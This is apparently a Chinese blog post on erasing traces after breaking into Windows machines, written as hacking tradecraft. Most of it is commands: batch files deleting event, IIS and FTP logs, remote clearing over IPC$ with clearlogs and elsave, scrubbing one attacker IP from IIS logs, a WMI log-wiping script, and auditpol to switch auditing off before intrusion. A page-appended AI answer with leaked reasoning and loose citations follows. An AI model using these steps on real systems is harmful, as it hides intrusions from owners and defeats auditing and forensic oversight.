对Windows下日志清除的一些总结

本文详细介绍Windows系统中各类日志文件的位置与管理方法,并提供批量删除与第三方工具的使用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这几日研究的课题是系统日志的清理,主要参考的书籍是《暗战强人. 黑客攻防实战高级演练》,虽然讲到的技术比较老,但对于刚入门
的我还是收获较大。
在Windows系统中,日志文件通常有应用程序日志、安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志等,其扩展名为.log、

.txt。我们先来熟悉下各个日志文件存放的位置及相应的服务。

系统文件所在位置
安全日志:%winsystem%\system32\config\Secevent.evt
应用程序日志:%winsystem%\system32\config\AppEvent.evt
系统日志:%winsystem%\system32\config\SysEvent.evt
IIS的FTP日志:%winsystem%\system32\logfiles\msftpsvc1\,默认每天一个日志
IIS的www日志:%winsystem%\system32\logfiles\w3svc1\ 默认每天一个日志
Scheduler服务日志:%winsystem%\schedlgu.txt
注册表所在项目:
[HKLM]\system\CurrentControlSet\Services\Eventlog
Schedluler服务注册表所在项目:
[HKLM]\SOFTWARE\Microsoft\SchedulingAgent
如果日志被从新定位,路径在注册表里面有记录.
熟悉了各个日志存放的路径后,我们可以通过编写个批处理程序来删除日志文件
	@del c:\winnt\system32\logfiles\*.*
@del c:\winnt\system32\config\*.evt
@del c:\winnt\system32\dtclog\*.*
@del c:\winnt\system32\*.log
@del c:\winnt\system32\*.txt
@del c:\winnt\*.txt
@del c:\winnt\*.log
@del c:\del.bat
对于个别比较系统日志,手动清除并不是明智的选择,我们可以借助第三方工具进行清除,下面介绍几款工具
针对系统日志
clearlogs的使用方法很简单,其命令格式为:
clearlogs [\\computername] <-app / -sec / -sys>。
其中各个参数的含义如下。
-app:应用程序日志。
-sec:安全日志。
-sys:系统日志。
使用clearlogs工具删除事件日志的具体操作步骤如下。
步骤1:在命令提示符窗口中输入”net use \\192.168.0.45\ipc$ “11111″/Aministrator”命令,即可通过建立IPC$连接把clearlogs上传到远程计算机。
步骤2:输入如下任何一种命令清除远程主机上的日志。
clearlogs \\192.168.0.45 -app清除远程计算机的应用程序日志。
clearlogs \\192.168.0.45 -sec清除远程计算机的安全日志。
clearlogs \\192.168.0.45 -sys清除远程计算机的系统日志。
步骤3:为了更安全一点,也可以建立一个批处理文件clear.bat,其具体的内容如下:
	@echo off
clearlogs -app
clearlogs -sec
clearlogs -sys
del clearlogs.exe
del c.bat
exit
步骤4:通过"net time"命令查看远程计算机的系统时间,再用"AT 时间 c:\clear.bat"命令建立一个计划任务来执行clearlogs.exe命令。
步骤5:使用”net use \\192.168.0.45\ipc$/del”命令来断开IPC$连接。
无论是本地还是远程清除日志,都可以使用elsave工具来完成。elsave是个清除日志的程序,其作用是远程删除事件查看器中的相关的日志。
其命令格式为:
elsave [-s\\server] [-l log] [-F file] [-C] [-q]
其中各个参数的含义如下。
-s\\server:指定远程计算机。
-l log:指定日志类型,其中参数”application”为应用程序日志,参数”system”为系统日志,参数”security”为安全日志。
-F file:指定保存日志文件的路径。
-C:清除日志操作,注意”-C”要大写。
-q:把错误信息写入日志。
使用elsave删除日志的具体操作步骤如下。
步骤1:在本地命令提示符窗口中输入”net use \\ip\ipc$ “password” /user:”"”命令,即可与远程主机/服务器用IPC$进行连接。
步骤2:在本地命令提示符窗口中分别输入如下命令,即可删除远程计算机中的日志文件。
清除应用程序日志命令:elsave -s\\192.168.0.45 -l application -C。
清除系统日志命令:elsave -s\\192.168.0.45 -l system -C。
清除安全日志命令:elsave -s\\192.168.0.45 -l security -C。
步骤3:在本地命令提示符窗口中输入”net use\\192.168.0.45\ipc$/ del”命令,即可断开IPC$连接。这样黑客便成功地删除了远程主机中的事件日志。
步骤4:另外,也可以编写一个批处理文件clear.bat,具体的内容如下:
	net use \\%1\ipc$ %3 /user:%2
elsave -s \\%1 -l "application" -C
elsave -s \\%1 -l "system" -C
elsave -s \\%1 -l "securtity" -C
net use \\%1\ipc$ /del
步骤5:把该文件存储到和elsave.exe文件相同的文件夹下之后,在命令提示符窗口中运行"Clear.bat 192.168.0.45 Susan """命令,即可清除远程计算机的日志记录。
批处理每次能处理的变量从%0~%9共10个,其中,%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值。同理,%2~%9指输入的第 2~第9个值。
CleanIISLog是一款常见的日志处理工具,它可以不留痕迹地清除指定的IP连接记录。CleanIISLog只能在本地运行,而且必须具有Administrators权限。
其命令格式为:
cleaniislog [logfile] [.] [cleanIP]
其中各个参数的含义如下。
logfile:清除的日志文件,Logfile用于指定要处理的日志文件,如果指定为”.”,则处理所有的日志文件。
[]中的”.”代表所有清除的日志中那个IP地址记录。
cleanIP用于指定要清除的IP记录,如果指定为”.”,则清除所有的IP记录,但是最好不要这样设置。
最后的”.”代表所有IP记录。
例如,”cleaniislog . 127.0.0.1″的作用是只清除本机的访问记录,而保留其他的IP记录。当清除成功之后,cleanIISLog即可在系统日志中将本身的运行记录清除。
这两个工具都需要你建立ipc连接来完成,那么如果没有ipc怎么办啊。那就是基于wmi(windows 管理规范)来清除
其命令格式为:
	dellog.vbs targetIP username password [lognamelist] 

        lognamelist: 

        logname1[,logname2...]    clear specified logs 

        *|-a|-all                 clear all logs 

        -v|-view|NULL             enum log names
针对WWW日志
IIS日志保存在%systemroot%\system32\logfiles\下。如果启动了web server的话,那么就会在上述路径下多出一个W3SVC1的文件夹,用

来存储web服务日志。

如果也启动了iis 自带的ftp服务,那么还有会有个MSFTPSVC1的文件夹,里面是ftp的日志。
让我们来看看本地清除,要用到的工具是cleaniis.exe如下:
	F:\tools\rizhi>cleaniis 

iisantidote <logfile dir> <ip or string to hide> 

iisantidote <logfile dir><ip or string to hide> stop 

stop opiton will stop iis before clearing the files and restart it after 

<logfile dir> exemple : c:\winnt\system32\logfiles\w3svc1\ dont forget the \
什么意思呢??我来给大家举个例子吧:
cleaniis c:\winnt\system32\logfiles\w3svc1\ 10.24.9.100
//清除log中所有此IP地址的访问记录.
cleaniis c:\winnt\system32\logfiles\w3svc1\ /shop/admin/
//清除log中所有对此目录的访问记录.
cleaniis c:\winnt\system32\logfiles\w3svc1\ 10.24.9.100 stop
//使用stop参数进行日志清除.
与此类似的还有一个工具如下:
	F:\tools\rizhi>clog 

CleanIISLog Ver 0.1, by Assassin 2001. All Rights Reserved. 

Usage: CleanIISLog <LogFile>|<.> <CleanIP>|<.> 

LogFile - Specify Log File Which You Want Process.
         Specified "ALL" Will Process All Log Files. 

CleanIP - Specify IP Address Which You Want Clear.
         Specified "." Will Clean All IP Record.
这个跟上面的工具是差不多的,我就不再赘述了我只举个例子:
clog ALL 10.184.19.100 //清楚所有日志里的此IP的记录!~~~~~
IIS日志我还没找到过远程删除的,上面我提到的那个dellog.vbs好象是可以,大家可以测试一下。
终端服务的日志
清空终端服务的日志只有在图形界面控制下去完成了。这是因为终端服务的开启日志的配置的特殊性所造成的。我们还是来讨论讨论
吧。首先要知道如果存在终端服务,如果管理员开启了日志,设置该日志记录的位置会在什么地方。如下图,先打开”终端服务配置”,找
到”连接”里的RDP-tcp。并右击其”属性”
点击”环境”选项卡,看看管理员是否运行了什么用来作日志记录的程序。(记得shotgun写过相关的BAT文件,大家有兴趣的话,可以在网
上查找一下,一定有的。)这是一个会作日志记录的地方。
接下来就是”权限”选项卡里的”高级”选项了。点击进去看一看吧!
点击进去后,。在”审核”选项卡里可以确认是否对某些组,某些帐号配置了审核。不过大家放心这个审核是记录在事件查看器里的。上面
我们已介绍过如何清除了。
好了,据我所知终端服务的日志记录就是在这两个地方配置的。若有遗漏还请大家多多指教啊!谢谢。
提醒大家注意,如果你是通过GUI或终端服务连接对方服务器的话,一定要记住将Documents and Settings里对应登录的帐号文件夹给删
了。可别忘了啊…。
RMDIR [/S] [/Q] [驱动器:]路径
RD [/S] [/Q] [驱动器:]路径
/S 除目录本身外,还将删除指定目录下的所有子目录和 文件。用于删除目录树。
/Q 安静模式,加 /S 时,删除目录树结构不再要求确认
以上的技术个人认为还是存在一些纰漏,例如:很多工具都是通过IPC$连接的,如果完全清除掉日志的话,系统管理员肯定也会发现的,
另外如果部署的有类似KIWI的集中日志管理期的话,还需要在入侵前期暂停其服务,因为即使删除了本地的,远程日志服务器也会记录下
来。在阅读了《黑客大曝光第6版》的时候,个人觉得使用auditpol.exe这个工具关闭审核策略倒是个不错的方法、
这样,我们如果在对该系统肆意操作之前就得先将这些开启的审核全部关闭。目的我不用说大家也该明白。呵呵,接着操作吧。利
用/disable参数来关闭全部。
输入auditpol.exe /disable 来关闭所有的审核。
另外上面演示的是在本地,如果要远程呢??呵呵我们来看看:
	F:>net use \\192.168.0.77\ipc$ password /u:administrator 

命令成功完成。 

F:\>auditpol.exe \\192.168.0.77 /enable /system:all /logon:all /account:success 

Running ... 

Audit information changed successfully on \\192.168.0.77 ...

New audit policy on \\192.168.0.77 ... 

System = Success and Failure 

Logon = Success and Failure 

Object Access = No Privilege 

Use = No Process 

Tracking = No 

Policy Change = No 

Account Management = No 

Directory Service Access = No 

Account Logon = Success
如果要关闭把上面的enable改成disable就可以了!~~~~~~~~
<think>好的,我现在需要帮助用户解决如何在Windows系统中删除或清空日志文件的问题。首先,我要仔细分析用户的需求。用户提到了几个引用,涉及删除服务器日志、Oracle归档日志、Docker容器日志等,所以可能需要涵盖不同方面的日志清理方法。 首先,我应该整理已有的引用内容。引用1提到删除Apache的access_log文件,使用的是rm命令,但这是在Linux环境下。不过用户问的是Windows,所以可能需要转换方法,比如使用PowerShell或者手动删除。引用2和3都是关于Oracle归档日志的删除,使用SQL命令,这可能在Windows上同样适用,但需要用户有Oracle数据库的权限。引用4涉及Docker容器日志的删除,用户可能需要通过SSH进入Docker虚拟机来操作,或者使用Docker命令。 接下来,我需要考虑Windows系统本身的日志管理。系统自带的日志如事件查看器中的应用程序、安全、系统日志,用户可能想清除这些。此外,应用程序如IIS、SQL Server也可能生成日志,需要分别处理。 然后,我应该将这些方法分门别类,确保结构清晰。可能分为系统日志、应用程序日志(如IIS、Apache、Oracle)、Docker日志等。每个部分给出具体的步骤,比如使用事件查看器清空日志,或者运行命令行命令。 需要注意的是权限问题,删除某些日志可能需要管理员权限,所以要提醒用户以管理员身份运行命令或工具。另外,自动清理的方法,比如任务计划程序,可能对用户有帮助,可以提到创建批处理脚本并定期执行。 还要检查是否有遗漏的引用内容,比如引用2和3中的Oracle删除命令,确保在Windows环境下正确使用。Docker部分可能需要指导用户如何进入Docker的虚拟机或者使用docker命令直接清理日志文件。 最后,生成相关问题,帮助用户进一步了解日志管理,比如自动清理工具、查看日志的方法、权限问题等。同时,确保所有引用都正确标注,比如引用1提到的Apache日志删除虽然在Linux,但用户可能需要知道Windows下的类似路径或方法,但引用1的例子是Linux的,可能需要说明在Windows中Apache日志的位置可能不同,比如在安装目录下的logs文件夹。 可能还需要提醒用户谨慎删除日志,确保日志不再需要,并且备份重要数据。特别是在生产环境中,日志可能用于审计或故障排查,删除前需确认是否符合政策。 总结步骤: 1. 系统日志:事件查看器手动清理,或使用wevtutil命令。 2. 应用程序日志IIS、Apache、Oracle各自的清理方法。 3. Docker日志:进入Docker虚拟机删除或使用命令行。 4. 自动清理:任务计划程序设置定期任务。 5. 注意事项:权限、备份、谨慎操作。 现在需要将这些步骤详细写出,确保用户能逐步操作,同时引用对应的引用来源。</think>### 如何在 Windows 系统中删除或清空日志文件 #### 一、系统日志清理 1. **通过事件查看器手动清理** - 按 `Win + R` 输入 `eventvwr.msc` 打开事件查看器 - 右键点击需要清理日志类别(如“应用程序”“安全”“系统”),选择“清除日志” - 选择保存或直接删除,适用于单次清理操作[^1]。 2. **使用命令行工具批量清理** 以管理员身份运行 PowerShell 或命令提示符,执行以下命令: ```powershell wevtutil cl Application # 清理应用程序日志 wevtutil cl Security # 清理安全日志 wevtutil cl System # 清理系统日志 ``` 此方法可快速清空指定类型的系统日志。 #### 二、应用程序日志清理 1. **IIS 日志文件** - 默认路径:`C:\inetpub\logs\LogFiles` - 手动删除或编写脚本定期清理: ```batch del /q C:\inetpub\logs\LogFiles\*.log ``` 2. **Apache 日志文件** - 若在 Windows 安装 Apache,日志路径通常在 `C:\Apache24\logs`(具体路径取决于安装配置) - 执行命令删除: ```batch del C:\Apache24\logs\access.log ``` 引用 Linux 服务器清理 Apache 日志的思路。 3. **Oracle 归档日志** - 通过 SQL*Plus 连接数据库执行: ```sql DELETE ARCHIVELOG ALL COMPLETED BEFORE 'SYSDATE-7'; -- 删除7天前的归档日志[^2] ``` - 或使用 RMAN 脚本定期清理[^3]。 #### 三、Docker 容器日志清理 1. **进入 Docker 虚拟机(适用于 Windows 容器)** - 参考 MobyLinuxVM 的 SSH 方法[^4],登录后查找日志文件路径并删除。 2. **直接清理容器日志文件** - 日志默认路径:`C:\ProgramData\Docker\containers\<容器ID>\<容器ID>-json.log` - 停止容器后直接删除日志文件。 #### 四、自动清理方案 1. **创建批处理脚本** 编写 `clean_logs.bat`,包含以下内容: ```batch wevtutil cl Application del /q C:\inetpub\logs\LogFiles\*.log ``` 2. **通过任务计划程序定期执行** - 打开“任务计划程序”,创建基本任务 - 设置触发频率(如每周一次),关联上述脚本。 #### 五、注意事项 - **权限要求**:所有操作需以管理员身份运行。 - **数据备份**:删除前确认日志无保留价值,重要日志建议备份。 - **谨慎操作**:生产环境需评估日志清理对业务的影响。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值